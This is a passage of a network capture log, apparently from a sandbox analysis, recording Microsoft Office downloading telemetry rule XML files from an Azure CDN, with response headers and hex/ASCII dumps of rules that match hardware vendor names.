2024-10-31 02:04:19 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:18 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: fc6998d3-101e-008d-52ad-2692e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020418Z-16849878b787wpl5wqkt5731b400000009g000000000wgsr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 02:04:19 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:18 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:18 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:18 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: f312709b-601e-0001-377c-2afaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020418Z-159b85dff8flhpxphC1DFWbnq800000001800000000003md x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:18 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:18 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:19 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:18 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 834668b8-301e-0052-121c-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020418Z-16849878b78tg5n42kspfr0x4800000008y0000000007buh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 02:04:19 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:18 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:18 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 11ae3112-301e-005d-596b-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020418Z-16849878b78x6gn56mgecg60qc0000000aqg00000000bc1q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:19 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:19 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:19 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 070d1cb7-b01e-0084-2b6b-2ad736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020419Z-17c5cb586f626sn8grcgm1gf80000000078g00000000huzy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:19 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:19 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:19 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:19 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 4755be7f-e01e-0052-062b-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020419Z-16849878b782d4lwcu6h6gmxnw00000008e000000000uhfq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 02:04:19 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:19 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:19 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:19 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 6cefda50-401e-0015-2d81-2a0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020419Z-17c5cb586f69w69mgazyf263an0000000860000000006guy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:19 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:19 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:19 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 1f7bc680-101e-0065-6904-274088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020419Z-16849878b787bfsh7zgp804my400000007n000000000h62k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:19 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:19 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:19 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 80c74b81-d01e-00a1-16c0-2a35b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020419Z-159b85dff8fq4v8mhC1DFW70kw00000001eg000000000uud x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:19 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:20 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:20 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 359c92e3-901e-0064-7ce8-28e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020420Z-17c5cb586f6lxnvgvs6hx6p0t800000000x0000000009f06 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:20 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:20 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:20 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:20 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 0fe0dd21-c01e-0066-771c-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020420Z-16849878b78g2m84h2v9sta29000000007ug000000008uk0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 02:04:20 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:20 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:20 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:20 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6b0d144c-801e-007b-3a49-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020420Z-16849878b78z2wx67pvzz63kdg00000007f000000000e6yh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:20 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" 